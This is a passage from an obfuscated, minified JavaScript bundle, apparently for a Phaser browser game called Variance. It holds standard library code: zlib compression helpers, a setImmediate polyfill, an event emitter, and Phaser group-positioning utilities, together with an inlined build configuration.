_0x5d2a71['dyn_dtree'])), _0x5aa27a(_0x5d2a71), _0x7744b8 && _0x3997d5(_0x5d2a71); }, _0x3f7bd7['_tr_tally'] = function (_0x5ba4ee, _0x73db3, _0x59af7a) { return _0x5ba4ee['pending_buf'][_0x5ba4ee['d_buf'] + 0x2 * _0x5ba4ee['last_lit']] = _0x73db3 >>> 0x8 & 0xff, _0x5ba4ee['pending_buf'][_0x5ba4ee['d_buf'] + 0x2 * _0x5ba4ee['last_lit'] + 0x1] = 0xff & _0x73db3, _0x5ba4ee['pending_buf'][_0x5ba4ee['l_buf'] + _0x5ba4ee['last_lit']] = 0xff & _0x59af7a, _0x5ba4ee['last_lit']++, 0x0 === _0x73db3 ? _0x5ba4ee['dyn_ltree'][0x2 * _0x59af7a]++ : (_0x5ba4ee['matches']++, _0x73db3--, _0x5ba4ee['dyn_ltree'][0x2 * (_0x3081e4[_0x59af7a] + _0x3115f2 + 0x1)]++, _0x5ba4ee['dyn_dtree'][0x2 * _0x2ba0e7(_0x73db3)]++), _0x5ba4ee['last_lit'] === _0x5ba4ee['lit_bufsize'] - 0x1; }, _0x3f7bd7['_tr_align'] = function (_0x35b38f) { _0x4b1f8d(_0x35b38f, 0x2, 0x3), _0x3623ba(_0x35b38f, _0x3be8ff, _0x383d8a), function (_0x49cb75) { 0x10 === _0x49cb75['bi_valid'] ? (_0x1f18f0(_0x49cb75, _0x49cb75['bi_buf']), _0x49cb75['bi_buf'] = 0x0, _0x49cb75['bi_valid'] = 0x0) : 0x8 <= _0x49cb75['bi_valid'] && (_0x49cb75['pending_buf'][_0x49cb75['pending']++] = 0xff & _0x49cb75['bi_buf'], _0x49cb75['bi_buf'] >>= 0x8, _0x49cb75['bi_valid'] -= 0x8); }(_0x35b38f); }; }, { '../utils/common': 0x29 }], 0x35: [function (_0x43e590, _0x50f84e, _0x4cdce4) { 'use strict'; _0x50f84e['exports'] = function () { this['input'] = null, this['next_in'] = 0x0, this['avail_in'] = 0x0, this['total_in'] = 0x0, this['output'] = null, this['next_out'] = 0x0, this['avail_out'] = 0x0, this['total_out'] = 0x0, this['msg'] = '', this['state'] = null, this['data_type'] = 0x2, this['adler'] = 0x0; }; }, {}], 0x36: [function (_0xf17d1d, _0x2fa698, _0x4c0be9) { (function (_0x2660b2) { !function (_0x42bcc2, _0x212311) { 'use strict'; if (!_0x42bcc2['setImmediate']) { var _0x24e8eb, _0x52f9d0, _0x26c9b7, _0x3e2fcc, _0x16f565 = 0x1, _0xf1a518 = {}, _0x3e4c62 = !0x1, _0x4f297c = _0x42bcc2['document'], _0x582b5d = Object['getPrototypeOf'] && Object['getPrototypeOf'](_0x42bcc2); _0x582b5d = _0x582b5d && _0x582b5d['setTimeout'] ? _0x582b5d : _0x42bcc2, _0x24e8eb = '[object\x20process]' === {}['toString']['call'](_0x42bcc2['process']) ? function (_0x5761ce) { ({ 'env': { 'MODE': 'production', 'VARIANCE_IFRAME_PARENT_URL': 'https://playvariance.com', 'VARIANCE_API_URL': 'https://api.realmverse.gg/app/variance', 'VARIANCE_BUNDLE_FILENAME': 'e776dc6d3f2822f8319c366f8bf1e009a0c7f9e9.phaserpackage', 'VERSION': '0.34.30', 'COMMIT_HASH': 'e776dc6d3f2822f8319c366f8bf1e009a0c7f9e9' } }['nextTick'](function () { _0x481fb2(_0x5761ce); })); } : (function () { if (_0x42bcc2['postMessage'] && !_0x42bcc2['importScripts']) { var _0x438eb4 = !0x0, _0x3ce913 = _0x42bcc2['onmessage']; return _0x42bcc2['onmessage'] = function () { _0x438eb4 = !0x1; }, _0x42bcc2['postMessage']('', '*'), _0x42bcc2['onmessage'] = _0x3ce913, _0x438eb4; } }()) ? (_0x3e2fcc = 'setImmediate$' + Math['random']() + '$', _0x42bcc2['addEventListener'] ? _0x42bcc2['addEventListener']('message', _0x492376, !0x1) : _0x42bcc2['attachEvent']('onmessage', _0x492376), function (_0x37563f) { _0x42bcc2['postMessage'](_0x3e2fcc + _0x37563f, '*'); }) : _0x42bcc2['MessageChannel'] ? ((_0x26c9b7 = new MessageChannel())['port1']['onmessage'] = function (_0x674180) { _0x481fb2(_0x674180['data']); }, function (_0x240e06) { _0x26c9b7['port2']['postMessage'](_0x240e06); }) : _0x4f297c && 'onreadystatechange' in _0x4f297c['createElement']('script') ? (_0x52f9d0 = _0x4f297c['documentElement'], function (_0x40bebf) { var _0x20ec5a = _0x4f297c['createElement']('script'); _0x20ec5a['onreadystatechange'] = function () { _0x481fb2(_0x40bebf), _0x20ec5a['onreadystatechange'] = null, _0x52f9d0['removeChild'](_0x20ec5a), _0x20ec5a = null; }, _0x52f9d0['appendChild'](_0x20ec5a); }) : function (_0x57cb43) { setTimeout(_0x481fb2, 0x0, _0x57cb43); }, _0x582b5d['setImmediate'] = function (_0x1f41e6) { 'function' != typeof _0x1f41e6 && (_0x1f41e6 = new Function('' + _0x1f41e6)); for (var _0x4eb521 = new Array(arguments['length'] - 0x1), _0x26cafa = 0x0; _0x26cafa < _0x4eb521['length']; _0x26cafa++)_0x4eb521[_0x26cafa] = arguments[_0x26cafa + 0x1]; var _0x516ccc = { 'callback': _0x1f41e6, 'args': _0x4eb521 }; return _0xf1a518[_0x16f565] = _0x516ccc, _0x24e8eb(_0x16f565), _0x16f565++; }, _0x582b5d['clearImmediate'] = _0x4ad4df; } function _0x4ad4df(_0x1d73b7) { delete _0xf1a518[_0x1d73b7]; } function _0x481fb2(_0x1af7be) { if (_0x3e4c62) setTimeout(_0x481fb2, 0x0, _0x1af7be); else { var _0x5c26e7 = _0xf1a518[_0x1af7be]; if (_0x5c26e7) { _0x3e4c62 = !0x0; try { !function (_0x227ef6) { var _0x5cf7d7 = _0x227ef6['callback'], _0x54c2a0 = _0x227ef6['args']; switch (_0x54c2a0['length']) { case 0x0: _0x5cf7d7(); break; case 0x1: _0x5cf7d7(_0x54c2a0[0x0]); break; case 0x2: _0x5cf7d7(_0x54c2a0[0x0], _0x54c2a0[0x1]); break; case 0x3: _0x5cf7d7(_0x54c2a0[0x0], _0x54c2a0[0x1], _0x54c2a0[0x2]); break; default: _0x5cf7d7['apply'](_0x212311, _0x54c2a0); } }(_0x5c26e7); } finally { _0x4ad4df(_0x1af7be), _0x3e4c62 = !0x1; } } } } function _0x492376(_0x41abf8) { _0x41abf8['source'] === _0x42bcc2 && 'string' == typeof _0x41abf8['data'] && 0x0 === _0x41abf8['data']['indexOf'](_0x3e2fcc) && _0x481fb2(+_0x41abf8['data']['slice'](_0x3e2fcc['length'])); } }('undefined' == typeof self ? void 0x0 === _0x2660b2 ? this : _0x2660b2 : self); }['call'](this, void 0x0 !== _0x512b2f['g'] ? _0x512b2f['g'] : 'undefined' != typeof self ? self : 'undefined' != typeof window ? window : {})); }, {}] }, {}, [0xa])(0xa); }, 0x8d4: function (_0x24c682) { var _0x45ea01; _0x45ea01 = () => ((() => { var _0x15c7b1 = { 0xc668: _0x28bb54 => { 'use strict'; var _0x5a3195 = Object['prototype']['hasOwnProperty'], _0x325d83 = '~'; function _0x3fe87f() { } function _0x54bcc0(_0x3fe14e, _0x3a2e96, _0x480c49) { this['fn'] = _0x3fe14e, this['context'] = _0x3a2e96, this['once'] = _0x480c49 || !0x1; } function _0x321b78(_0xdb023a, _0x507dd3, _0x1449fa, _0x21cd80, _0x409206) { if ('function' != typeof _0x1449fa) throw new TypeError('The\x20listener\x20must\x20be\x20a\x20function'); var _0x454144 = new _0x54bcc0(_0x1449fa, _0x21cd80 || _0xdb023a, _0x409206), _0x13be77 = _0x325d83 ? _0x325d83 + _0x507dd3 : _0x507dd3; return _0xdb023a['_events'][_0x13be77] ? _0xdb023a['_events'][_0x13be77]['fn'] ? _0xdb023a['_events'][_0x13be77] = [_0xdb023a['_events'][_0x13be77], _0x454144] : _0xdb023a['_events'][_0x13be77]['push'](_0x454144) : (_0xdb023a['_events'][_0x13be77] = _0x454144, _0xdb023a['_eventsCount']++), _0xdb023a; } function _0xa7ad92(_0x178297, _0x29bf00) { 0x0 == --_0x178297['_eventsCount'] ? _0x178297['_events'] = new _0x3fe87f() : delete _0x178297['_events'][_0x29bf00]; } function _0x59d910() { this['_events'] = new _0x3fe87f(), this['_eventsCount'] = 0x0; } Object['create'] && (_0x3fe87f['prototype'] = Object['create'](null), new _0x3fe87f()['__proto__'] || (_0x325d83 = !0x1)), _0x59d910['prototype']['eventNames'] = function () { var _0x4941f9, _0x1fbeea, _0x1ec707 = []; if (0x0 === this['_eventsCount']) return _0x1ec707; for (_0x1fbeea in _0x4941f9 = this['_events']) _0x5a3195['call'](_0x4941f9, _0x1fbeea) && _0x1ec707['push'](_0x325d83 ? _0x1fbeea['slice'](0x1) : _0x1fbeea); return Object['getOwnPropertySymbols'] ? _0x1ec707['concat'](Object['getOwnPropertySymbols'](_0x4941f9)) : _0x1ec707; }, _0x59d910['prototype']['listeners'] = function (_0x3251e5) { var _0x46d558 = _0x325d83 ? _0x325d83 + _0x3251e5 : _0x3251e5, _0x1af6a3 = this['_events'][_0x46d558]; if (!_0x1af6a3) return []; if (_0x1af6a3['fn']) return [_0x1af6a3['fn']]; for (var _0x10f9cd = 0x0, _0x150dea = _0x1af6a3['length'], _0x2fa224 = new Array(_0x150dea); _0x10f9cd < _0x150dea; _0x10f9cd++)_0x2fa224[_0x10f9cd] = _0x1af6a3[_0x10f9cd]['fn']; return _0x2fa224; }, _0x59d910['prototype']['listenerCount'] = function (_0x5b8fc9) { var _0x524c72 = _0x325d83 ? _0x325d83 + _0x5b8fc9 : _0x5b8fc9, _0x1fce39 = this['_events'][_0x524c72]; return _0x1fce39 ? _0x1fce39['fn'] ? 0x1 : _0x1fce39['length'] : 0x0; }, _0x59d910['prototype']['emit'] = function (_0x165c33, _0x4209db, _0x544e03, _0x1c2b54, _0xd28905, _0x236b3f) { var _0x4b618e = _0x325d83 ? _0x325d83 + _0x165c33 : _0x165c33; if (!this['_events'][_0x4b618e]) return !0x1; var _0x5d3ca2, _0x3ce817, _0x344041 = this['_events'][_0x4b618e], _0x3457c2 = arguments['length']; if (_0x344041['fn']) { switch (_0x344041['once'] && this['removeListener'](_0x165c33, _0x344041['fn'], void 0x0, !0x0), _0x3457c2) { case 0x1: return _0x344041['fn']['call'](_0x344041['context']), !0x0; case 0x2: return _0x344041['fn']['call'](_0x344041['context'], _0x4209db), !0x0; case 0x3: return _0x344041['fn']['call'](_0x344041['context'], _0x4209db, _0x544e03), !0x0; case 0x4: return _0x344041['fn']['call'](_0x344041['context'], _0x4209db, _0x544e03, _0x1c2b54), !0x0; case 0x5: return _0x344041['fn']['call'](_0x344041['context'], _0x4209db, _0x544e03, _0x1c2b54, _0xd28905), !0x0; case 0x6: return _0x344041['fn']['call'](_0x344041['context'], _0x4209db, _0x544e03, _0x1c2b54, _0xd28905, _0x236b3f), !0x0; }for (_0x3ce817 = 0x1, _0x5d3ca2 = new Array(_0x3457c2 - 0x1); _0x3ce817 < _0x3457c2; _0x3ce817++)_0x5d3ca2[_0x3ce817 - 0x1] = arguments[_0x3ce817]; _0x344041['fn']['apply'](_0x344041['context'], _0x5d3ca2); } else { var _0x218b76, _0x457b93 = _0x344041['length']; for (_0x3ce817 = 0x0; _0x3ce817 < _0x457b93; _0x3ce817++)switch (_0x344041[_0x3ce817]['once'] && this['removeListener'](_0x165c33, _0x344041[_0x3ce817]['fn'], void 0x0, !0x0), _0x3457c2) { case 0x1: _0x344041[_0x3ce817]['fn']['call'](_0x344041[_0x3ce817]['context']); break; case 0x2: _0x344041[_0x3ce817]['fn']['call'](_0x344041[_0x3ce817]['context'], _0x4209db); break; case 0x3: _0x344041[_0x3ce817]['fn']['call'](_0x344041[_0x3ce817]['context'], _0x4209db, _0x544e03); break; case 0x4: _0x344041[_0x3ce817]['fn']['call'](_0x344041[_0x3ce817]['context'], _0x4209db, _0x544e03, _0x1c2b54); break; default: if (!_0x5d3ca2) { for (_0x218b76 = 0x1, _0x5d3ca2 = new Array(_0x3457c2 - 0x1); _0x218b76 < _0x3457c2; _0x218b76++)_0x5d3ca2[_0x218b76 - 0x1] = arguments[_0x218b76]; } _0x344041[_0x3ce817]['fn']['apply'](_0x344041[_0x3ce817]['context'], _0x5d3ca2); } } return !0x0; }, _0x59d910['prototype']['on'] = function (_0xbb4ec7, _0x57d3c1, _0x3d6252) { return _0x321b78(this, _0xbb4ec7, _0x57d3c1, _0x3d6252, !0x1); }, _0x59d910['prototype']['once'] = function (_0x46dffd, _0x1e1fdc, _0x1fdcd1) { return _0x321b78(this, _0x46dffd, _0x1e1fdc, _0x1fdcd1, !0x0); }, _0x59d910['prototype']['removeListener'] = function (_0x21a888, _0x23927c, _0x367ece, _0x32beeb) { var _0x3f3ab8 = _0x325d83 ? _0x325d83 + _0x21a888 : _0x21a888; if (!this['_events'][_0x3f3ab8]) return this; if (!_0x23927c) return _0xa7ad92(this, _0x3f3ab8), this; var _0x11b1d1 = this['_events'][_0x3f3ab8]; if (_0x11b1d1['fn']) _0x11b1d1['fn'] !== _0x23927c || _0x32beeb && !_0x11b1d1['once'] || _0x367ece && _0x11b1d1['context'] !== _0x367ece || _0xa7ad92(this, _0x3f3ab8); else { for (var _0x3b8e32 = 0x0, _0x47a52f = [], _0x59032c = _0x11b1d1['length']; _0x3b8e32 < _0x59032c; _0x3b8e32++)(_0x11b1d1[_0x3b8e32]['fn'] !== _0x23927c || _0x32beeb && !_0x11b1d1[_0x3b8e32]['once'] || _0x367ece && _0x11b1d1[_0x3b8e32]['context'] !== _0x367ece) && _0x47a52f['push'](_0x11b1d1[_0x3b8e32]); _0x47a52f['length'] ? this['_events'][_0x3f3ab8] = 0x1 === _0x47a52f['length'] ? _0x47a52f[0x0] : _0x47a52f : _0xa7ad92(this, _0x3f3ab8); } return this; }, _0x59d910['prototype']['removeAllListeners'] = function (_0x26f6ac) { var _0x4ab7f1; return _0x26f6ac ? (_0x4ab7f1 = _0x325d83 ? _0x325d83 + _0x26f6ac : _0x26f6ac, this['_events'][_0x4ab7f1] && _0xa7ad92(this, _0x4ab7f1)) : (this['_events'] = new _0x3fe87f(), this['_eventsCount'] = 0x0), this; }, _0x59d910['prototype']['off'] = _0x59d910['prototype']['removeListener'], _0x59d910['prototype']['addListener'] = _0x59d910['prototype']['on'], _0x59d910['prefixed'] = _0x325d83, _0x59d910['EventEmitter'] = _0x59d910, _0x28bb54['exports'] = _0x59d910; }, 0x2cfd: (_0x5ea05a, _0x33f945, _0x554935) => { var _0x357856 = _0x554935(0x97ad); _0x5ea05a['exports'] = function (_0x1440c8, _0x125124, _0x47f320, _0x35de0e) { for (var _0x2ca29b = _0x1440c8[0x0], _0x8e436 = 0x1; _0x8e436 < _0x1440c8['length']; _0x8e436++) { var _0x519a4e = _0x1440c8[_0x8e436]; _0x357856(_0x519a4e, _0x2ca29b, _0x125124, _0x47f320, _0x35de0e), _0x2ca29b = _0x519a4e; } return _0x1440c8; }; }, 0x139be: (_0x52c1a6, _0x1aa30d, _0x5cb07b) => { var _0xf2e0f8 = _0x5cb07b(0x105a3); _0x52c1a6['exports'] = function (_0x53a053, _0x1dc6d2, _0x245ec3, _0x54c295, _0x1cdc21) { return _0xf2e0f8(_0x53a053, 'angle', _0x1dc6d2, _0x245ec3, _0x54c295, _0x1cdc21); }; }, 0xed55: _0x375ca1 => { _0x375ca1['exports'] = function (_0x5e3a3f, _0x1c4866, _0x377ee4) { for (var _0x5baf19 = 0x0; _0x5baf19 < _0x5e3a3f['length']; _0x5baf19++) { var _0x1b6bbb = _0x5e3a3f[_0x5baf19]; _0x1c4866['call'](_0x377ee4, _0x1b6bbb); } return _0x5e3a3f; }; }, 0x11127: _0x17f3f9 => { _0x17f3f9['exports'] = function (_0x44c7fd, _0x5e675b, _0x529918) { void 0x0 === _0x529918 && (_0x529918 = 0x0); for (var _0x4fdf5c = _0x529918; _0x4fdf5c < _0x44c7fd['length']; _0x4fdf5c++) { var _0x56836a = _0x44c7fd[_0x4fdf5c], _0x354755 = !0x0; for (var _0x515b1d in _0x5e675b) _0x56836a[_0x515b1d] !== _0x5e675b[_0x515b1d] && (_0x354755 = !0x1); if (_0x354755) return _0x56836a; } return null; }; }, 0x7e09: _0x416ab7 => { _0x416ab7['exports'] = function (_0x4e94d6, _0x3f3f20, _0x5839ad) { void 0x0 === _0x5839ad && (_0x5839ad = 0x0); for (var _0x70eb6e = _0x4e94d6['length'] - 0x1; _0x70eb6e >= _0x5839ad; _0x70eb6e--) { var _0x5a666d = _0x4e94d6[_0x70eb6e], _0x200085 = !0x0; for (var _0x38e158 in _0x3f3f20) _0x5a666d[_0x38e158] !== _0x3f3f20[_0x38e158] && (_0x200085 = !0x1); if (_0x200085) return _0x5a666d; } return null; }; }, 0x170d4: (_0x79d1ae, _0x410f63, _0xc4b831) => { var _0x240454 = _0xc4b831(0x2e67), _0xe9ef2e = _0xc4b831(0xec2d), _0x3c5b06 = _0xc4b831(0x17534), _0x1ff392 = _0xc4b831(0x7433), _0x4128ca = new (_0xc4b831(0xa209))({ 'sys': { 'queueDepthSort': _0x1ff392, 'events': { 'once': _0x1ff392 } } }, 0x0, 0x0, 0x1, 0x1)['setOrigin'](0x0, 0x0); _0x79d1ae['exports'] = function (_0x3f3937, _0x314d1b) { void 0x0 === _0x314d1b && (_0x314d1b = {}); var _0x11a272 = _0x314d1b['hasOwnProperty']('width'), _0x53396c = _0x314d1b['hasOwnProperty']('height'), _0x55e248 = _0x3c5b06(_0x314d1b, 'width', -0x1), _0x118e90 = _0x3c5b06(_0x314d1b, 'height', -0x1), _0x271689 = _0x3c5b06(_0x314d1b, 'cellWidth', 0x1), _0x4d8786 = _0x3c5b06(_0x314d1b, 'cellHeight', _0x271689), _0x2841e1 = _0x3c5b06(_0x314d1b, 'position', _0xe9ef2e['TOP_LEFT']), _0x57a454 = _0x3c5b06(_0x314d1b, 'x', 0x0), _0x21b84f = _0x3c5b06(_0x314d1b, 'y', 0x0), _0x38322f = 0x0, _0x224eb8 = 0x0, _0x23f90b = _0x55e248 * _0x271689, _0x18ce7f = _0x118e90 * _0x4d8786; _0x4128ca['setPosition'](_0x57a454, _0x21b84f), _0x4128ca['setSize'](_0x271689, _0x4d8786); for (var _0x345108 = 0x0; _0x345108 < _0x3f3937['length']; _0x345108++)if (_0x240454(_0x3f3937[_0x345108], _0x4128ca, _0x2841e1), _0x11a272 && -0x1 === _0x55e248) _0x4128ca['x'] += _0x271689; else { if (_0x53396c && -0x1 === _0x118e90) _0x4128ca['y'] += _0x4d8786; else { if (_0x53396c && !_0x11a272) { if (_0x224eb8 += _0x4d8786, _0x4128ca['y'] += _0x4d8786, _0x224eb8 === _0x18ce7f && (_0x224eb8 = 0x0, _0x38322f += _0x271689, _0x4128ca['y'] = _0x21b84f, _0x4128ca['x'] += _0x271689, _0x38322f === _0x23f90b)) break; } else { if (_0x38322f += _0x271689, _0x4128ca['x'] += _0x271689, _0x38322f === _0x23f90b && (_0x38322f = 0x0, _0x224eb8 += _0x4d8786, _0x4128ca['x'] = _0x57a454, _0x4128ca['y'] += _0x4d8786, _0x224eb8 === _0x18ce7f)) break; } } } return _0x3f3937; }; }, 0xa2f9: (_0x5b08d7, _0x4fe3de, _0x4449dd) => { var _0x500dab = _0x4449dd(0x105a3); _0x5b08d7['exports'] = function (_0x4ced11, _0x584d00, _0x184cad, _0x3cc8fe, _0x57d6da) { return _0x500dab(_0x4ced11, 'alpha', _0x584d00, _0x184cad, _0x3cc8fe, _0x57d6da); }; }, 0x106d5: (_0x56e939, _0x49ef05, _0x500cc4) => { var _0x4806d8 = _0x500cc4(0x105a3); _0x56e939['exports'] = function (_0x10c925, _0x3beebf, _0x2fb065, _0x22a0b7, _0x22c0f7) { return _0x4806d8(_0x10c925, 'x', _0x3beebf, _0x2fb065, _0x22a0b7, _0x22c0f7); }; }, 0x2372: (_0x57034c, _0x5bfff9, _0x140f54) => { var _0xbbf7c7 = _0x140f54(0x105a3); _0x57034c['exports'] = function (_0x21a53c, _0x4065ca, _0x3d542c, _0x5e1381, _0x29045d, _0x5d6d13, _0x328b89) { return null == _0x3d542c && (_0x3d542c = _0x4065ca), _0xbbf7c7(_0x21a53c, 'x', _0x4065ca, _0x5e1381, _0x5d6d13, _0x328b89), _0xbbf7c7(_0x21a53c, 'y', _0x3d542c, _0x29045d, _0x5d6d13, _0x328b89); }; }, 0x125d6: (_0x25a537, _0x1c5020, _0x5475ab) => { var _0x287814 = _0x5475ab(0x105a3); _0x25a537['exports'] = function (_0x42436d, _0x2b0aed, _0x571125, _0x13f283, _0xad8385) { return _0x287814(_0x42436d, 'y', _0x2b0aed, _0x571125, _0x13f283, _0xad8385); }; }, 0x59c7: _0x149432 => { _0x149432['exports'] = function (_0x463f3b, _0xf3866f, _0x374556, _0x882aba) { void 0x0 === _0x374556 && (_0x374556 = 0x0), void 0x0 === _0x882aba && (_0x882aba = 6.28); for (var _0x12af2a = _0x374556, _0x330043 = (_0x882aba - _0x374556) / _0x463f3b['length'], _0x9d3ff5 = _0xf3866f['x'], _0x127b9c = _0xf3866f['y'], _0x54dde0 = _0xf3866f['radius'], _0x8f6cf5 = 0x0; _0x8f6cf5 < _0x463f3b['length']; _0x8f6cf5++)_0x463f3b[_0x8f6cf5]['x'] = _0x9d3ff5 + _0x54dde0 * Math['cos'](_0x12af2a), _0x463f3b[_0x8f6cf5]['y'] = _0x127b9c + _0x54dde0 * Math['sin'](_0x12af2a), _0x12af2a += _0x330043; return _0x463f3b; }; }, 0x17415: _0x200eff => { _0x200eff['exports'] = function (_0x3eec76, _0x1e6a4c, _0x15e8f9, _0xd37506) { void 0x0 === _0x15e8f9 && (_0x15e8f9 = 0x0), void 0x0 === _0xd37506 && (_0xd37506 = 6.28); for (var _0x4af35f = _0x15e8f9, _0x2d8d03 = (_0xd37506 - _0x15e8f9) / _0x3eec76['length'], _0x18df53 = _0x1e6a4c['width'] / 0x2, _0x33f17a = _0x1e6a4c['height'] / 0x2, _0x5067ad = 0x0; _0x5067ad < _0x3eec76['length']; _0x5067ad++)_0x3eec76[_0x5067ad]['x'] = _0x1e6a4c['x'] + _0x18df53 * Math['cos'](_0x4af35f), _0x3eec76[_0x5067ad]['y'] = _0x1e6a4c['y'] + _0x33f17a * Math['sin'](_0x4af35f), _0x4af35f += _0x2d8d03; return _0x3eec76; }; }, 0x159b9: (_0x56dbd8, _0x59281a, _0x4cb4e4) => { var _0x5c6e71 = _0x4cb4e4(0x3b9a), _0x35f9e5 = _0x4cb4e4(0x6854); _0x56dbd8['exports'] = function (_0x3137f3, _0x14a92b, _0x5dbdf5) { var _0x4844da; _0x4844da = _0x5dbdf5 ? _0x35f9e5(_0x14a92b, _0x5dbdf5, _0x3137f3['length']) : _0x5c6e71(_0x14a92b, _0x3137f3['length']); for (var _0x1ea3bb = 0x0; _0x1ea3bb < _0x3137f3['length']; _0x1ea3bb++) { var _0x44b445 = _0x3137f3[_0x1ea3bb], _0x3c520b = _0x4844da[_0x1ea3bb]; _0x44b445['x'] = _0x3c520b['x'], _0x44b445['y'] = _0x3c520b['y']; } return _0x3137f3; }; }, 0xa182: (_0x3892b3, _0x1004f6, _0x4a312b) => { var _0x21e8f8 = _0x4a312b(0x3939), _0xb23e8b = _0x4a312b(0x14ff3), _0x513323 = _0x4a312b(0xc15a); _0x3892b3['exports'] = function (_0x2dab6f, _0x42b088, _0x22f5ea) { void 0x0 === _0x22f5ea && (_0x22f5ea = 0x0); var _0x59567e = _0x21e8f8(_0x42b088, !0x1, _0x2dab6f['length']); _0x22f5ea > 0x0 ? _0xb23e8b(_0x59567e, _0x22f5ea) : _0x22f5ea < 0x0 && _0x513323(_0x59567e, Math['abs'](_0x22f5ea)); for (var _0x175d2d = 0x0; _0x175d2d < _0x2dab6f['length']; _0x175d2d++)_0x2dab6f[_0x175d2d]['x'] = _0x59567e[_0x175d2d]['x'], _0x2dab6f[_0x175d2d]['y'] = _0x59567e[_0x175d2d]['y']; return _0x2dab6f; }; }, 0x2d37: (_0x3b3fe4, _0x143ba0, _0x427d54) => { var _0x55e2a6 = _0x427d54(0x14c01); _0x3b3fe4['exports'] = function (_0x2184ce, _0x408387, _0x4078f3) { var _0x4f3206 = _0x55e2a6({ 'x1': _0x408387['x1'], 'y1': _0x408387['y1'], 'x2': _0x408387['x2'], 'y2': _0x408387['y2'] }, _0x4078f3), _0x53a192 = _0x55e2a6({ 'x1': _0x408387['x2'], 'y1': _0x408387['y2'], 'x2': _0x408387['x3'], 'y2': _0x408387['y3'] }, _0x4078f3), _0xf5b829 = _0x55e2a6({ 'x1': _0x408387['x3'], 'y1': _0x408387['y3'], 'x2': _0x408387['x1'], 'y2': _0x408387['y1'] }, _0x4078f3); _0x4f3206['pop'](), _0x53a192['pop'](), _0xf5b829['pop'](); for (var _0x33afc2 = (_0x4f3206 = _0x4f3206['concat'](_0x53a192, _0xf5b829))['length'] / _0x2184ce['length'], _0x2b7544 = 0x0, _0x161d56 = 0x0; _0x161d56 < _0x2184ce['length']; _0x161d56++) { var _0x2c843e = _0x2184ce[_0x161d56], _0x5efc58 = _0x4f3206[Math['floor'](_0x2b7544)]; _0x2c843e['x'] = _0x5efc58['x'], _0x2c843e['y'] = _0x5efc58['y'], _0x2b7544 += _0x33afc2; } return _0x2184ce; }; }, 0x7501: _0x1de5f8 => { _0x1de5f8['exports'] = function (_0x4535bc, _0x39956a, _0x244200) { for (var _0x40b8c5 = 0x0; _0x40b8c5 < _0x4535bc['length']; _0x40b8c5++) { var _0x5d3b79 = _0x4535bc[_0x40b8c5]; _0x5d3b79['anims'] && _0x5d3b79['anims']['play'](_0x39956a, _0x244200); } return _0x4535bc; }; }, 0x105a3: _0x55afbe => { _0x55afbe['exports'] = function (_0x4ced85, _0x2137ee, _0xe0354b, _0x4ea92a, _0x4af6d9, _0x42eb30) { var _0x4747d5; void 0x0 === _0x4ea92a && (_0x4ea92a = 0x0), void 0x0 === _0x4af6d9 && (_0x4af6d9 = 0x0), void 0x0 === _0x42eb30 && (_0x42eb30 = 0x1); var _0x412f5d = 0x0, _0x36aff7 = _0x4ced85['length']; if (0x1 === _0x42eb30) { for (_0x4747d5 = _0x4af6d9; _0x4747d5 < _0x36aff7; _0x4747d5++)_0x4ced85[_0x4747d5][_0x2137ee] += _0xe0354b + _0x412f5d * _0x4ea92a, _0x412f5d++; } else { for (_0x4747d5 = _0x4af6d9; _0x4747d5 >= 0x0; _0x4747d5--)_0x4ced85[_0x4747d5][_0x2137ee] += _0xe0354b + _0x412f5d * _0x4ea92a, _0x412f5d++; } return _0x4ced85; }; }, 0xabbf: _0x237faa => { _0x237faa['exports'] = function (_0x294ed4, _0x10a117, _0x73a96e, _0x18bc30, _0x40cd8a, _0x3a7221) { var _0x21d739; void 0x0 === _0x18bc30 && (_0x18bc30 = 0x0), void 0x0 === _0x40cd8a && (_0x40cd8a = 0x0), void 0x0 === _0x3a7221 && (_0x3a7221 = 0x1); var _0x20e635 = 0x0, _0x3f7ea4 = _0x294ed4['length']; if (0x1 === _0x3a7221) { for (_0x21d739 = _0x40cd8a; _0x21d739 < _0x3f7ea4; _0x21d739++)_0x294ed4[_0x21d739][_0x10a117] = _0x73a96e + _0x20e635 * _0x18bc30, _0x20e635++; } else { for (_0x21d739 = _0x40cd8a; _0x21d739 >= 0x0; _0x21d739--)_0x294ed4[_0x21d739][_0x10a117] = _0x73a96e + _0x20e635 * _0x18bc30, _0x20e635++; } return _0x294ed4; }; }, 0x15b5e: (_0x2b8043, _0x3a2951, _0x50b72f) => { var _0x96cad6 = _0x50b72f(0x6e10); _0x2b8043['exports'] = function (_0x3a9ab3, _0x442f88) { for (var _0x535f62 = 0x0; _0x535f62 < _0x3a9ab3['length']; _0x535f62++)_0x96cad6(_0x442f88, _0x3a9ab3[_0x535f62]); return _0x3a9ab3; }; }, 0x8206: (_0x1496e8, _0x3cc13c, _0x3eda9a) => { var _0x4b6d66 = _0x3eda9a(0x60f4); _0x1496e8['exports'] = function (_0x2506c1, _0x3890d4) { for (var _0x5175c4 = 0x0; _0x5175c4 < _0x2506c1['length']; _0x5175c4++)_0x4b6d66(_0x3890d4, _0x2506c1[_0x5175c4]); return _0x2506c1; }; }, 0x17700: (_0x32b0e5, _0x3a868a, _0x48897) => { var _0x27f59b = _0x48897(0x1011e); _0x32b0e5['exports'] = function (_0x17be27, _0x5a2e83) { for (var _0x31c3a6 = 0x0; _0x31c3a6 < _0x17be27['length']; _0x31c3a6++)_0x27f59b(_0x5a2e83, _0x17be27[_0x31c3a6]); return _0x17be27; }; }, 0x7075: (_0x32ef1b, _0x3a89ed, _0xb39bb2) => { var _0x5bf3a0 = _0xb39bb2(0x67e5); _0x32ef1b['exports'] = function (_0x527cc5, _0x4bfdf5) { for (var _0x2863c3 = 0x0; _0x2863c3 < _0x527cc5['length']; _0x2863c3++)_0x5bf3a0(_0x4bfdf5, _0x527cc5[_0x2863c3]); return _0x527cc5; }; }, 0x17b82: (_0x1e0ce5, _0x5a22fc, _0x2df233) => { var _0x424f89 = _0x2df233(0x16094); _0x1e0ce5['exports'] = function (_0x3d758b, _0x3e9489) { for (var _0x259d02 = 0x0; _0x259d02 < _0x3d758b['length']; _0x259d02++)_0x424f89(_0x3e9489, _0x3d758b[_0x259d02]); return _0x3d758b; }; }, 0x501e: (_0x3b3442, _0x99fb55, _0x24908f) => { var _0x1c60d4 = _0x24908f(0x105a3); _0x3b3442['exports'] = function (_0x335a22, _0x48305a, _0x2b1ac3, _0x5c2fad, _0x2d1f36) { return _0x1c60d4(_0x335a22, 'rotation', _0x48305a, _0x2b1ac3, _0x5c2fad, _0x2d1f36); }; }, 0x163ab: (_0x3d7613, _0x407466, _0x3c3d9f) => { var _0x33ffe3 = 